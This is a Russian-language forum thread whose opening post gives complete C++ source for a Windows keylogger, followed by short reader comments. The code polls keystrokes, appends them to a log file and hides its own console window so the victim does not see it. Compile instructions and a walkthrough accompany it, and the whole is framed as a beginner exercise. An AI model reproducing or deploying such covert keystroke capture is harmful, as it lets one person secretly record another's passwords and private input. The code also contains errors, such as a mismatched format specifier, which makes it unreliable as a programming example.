Загрузка...

Кейлоггер на C++

Тема в разделе C/C++ создана пользователем Happy 8 апр 2018. (поднята 12 ноя 2017) 2196 просмотров

Загрузка...
  1. Happy
    Happy Автор темы 8 апр 2018 Держу курс на заебись 539 23 апр 2017
    [IMG]

    Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.

    Для работы нам понадобится текстовый файл и компилятор C++

    Компилятор на ваш вкус, можете использовать VC++ или С++ Builder.

    Хотя их намного больше. Лично мне удобнее использовать IDE Clion от JetBrains, и компилятор MinGW.

    Для компиляции в VC++

    code:

    Код
    cl -GL C:\\путь\файл.cpp



    Для компиляции в С++ Builder

    code:

    Код
    bcc32.exe C:\\путь\файл.cpp



    Создадим текстовый файл(keylogger.txt)



    В нём пишем:

    code:

    Код
    #include <iostream>   
    #include <windows.h>
    #include <winuser.h>

    using namespace std;

    int S (int key, char *files);
    void Hide();

    int S (int key, char *files)
    {
    if ( (key == 1) || (key == 2) )
    return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
    fclose (Save);
    return 0;
    }

    void Hide()
    {
    HWND Hide;
    AllocConsole();
    Hide = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Hide,0);
    }

    int main()
    {
    Hide();
    char q;

    while (1)
    {
    for(q = 8; q <= 190; q++)
    {
    if (GetAsyncKeyState(q) == -32767)
    S (q,"C:\\log.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }





    Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)



    Компилировать будем на С++ Builder.

    Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)

    Пишем bcc32.exe C:\\путь\keylogger.cpp



    У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить).

    Не большие объяснения что же мы написали:

    Использовали во первых GetAsyncKeyState

    определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.

    Для работы GetAsyncKeyState подключили #include <windows.h>



    Здесь мы :

    Код
    int S (int key, char *files)

    {

    if ( (key == 1) || (key == 2) )

    return 0;



    FILE *Save;

    Save = fopen(files, "a+");

    cout << key << endl;

    fprintf(Save, "%s", &key);

    fclose (Save);

    return 0;

    }

    открываем консоль и вводим значение cout << key << endl; , после чего записываем в файл.



    Что бы консоль не было видно использовали:

    Код
    void Hide()

    {

    HWND Hide;

    AllocConsole();

    Hide = FindWindowA("ConsoleWindowClass", NULL);

    ShowWindow(Hide,0);

    }



    Основное действие происходит уже не посредственно в:

    Код
    int main()

    {

    Hide();

    char q;

    while (1)

    {

    for(q = 8; q <= 190; q++)

    {

    if (GetAsyncKeyState(q) == -32767)

    S (q,"C:\\log.txt");

    }

    }

    system ("PAUSE");

    return 0;

    }

    где C:\\log.txt куда сохраняется лог.



    Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:

    code:

    Код
    if (key == VK_TAB)           
    fprintf(Save, "%s", "[TAB]");



    В общем старался как мог написать статью, если есть вопросы буду рад ответить.

    Цель статьи - не написание полноценного кейлоггера, а чтобы вы начали проникаться в мир программирования.
     
    8 апр 2018 Изменено
  2. 2021_inactive240449
    2021_inactive240449 8 апр 2018 Заблокирован(а) 294 22 дек 2017
    ТЫ ШТО КОДИР
     
  3. jalolja
    jalolja 11 июл 2018 5 12 май 2017
    А можно вопрос? зачем перед тем как записывать в .txt мы оутпутим в консольку?
     
  4. pvolab
    pvolab 11 июл 2018 Never look back. 898 24 апр 2017
    Возьми свой код в тэг, чтобы удобно читать было и копировать, если кому то надо будет.
     
  5. MOXON
    MOXON 11 июл 2018 EZIC 1240 28 май 2017
    Не идеально, но для новичков подойдет
     
  6. jalolja
    jalolja 11 июл 2018 5 12 май 2017
    Вообще это скопипиздено с hpc статья 2009 года ГЫ
     
  7. Maksum1
    Maksum1 12 июл 2018 Услуги кодера С/С++ 21 17 янв 2018
    Да бля бред но если новиок то норм)
     
  8. manifest95
    manifest95 12 июл 2018 Заблокирован(а) 41 24 июн 2018
    глаза режет, сделай в спойлере код, легче людям читать будет
     
  9. avel07
    avel07 13 июл 2018 Девчонка анимешница 14 29 сен 2017
    Вроде годно
     
Top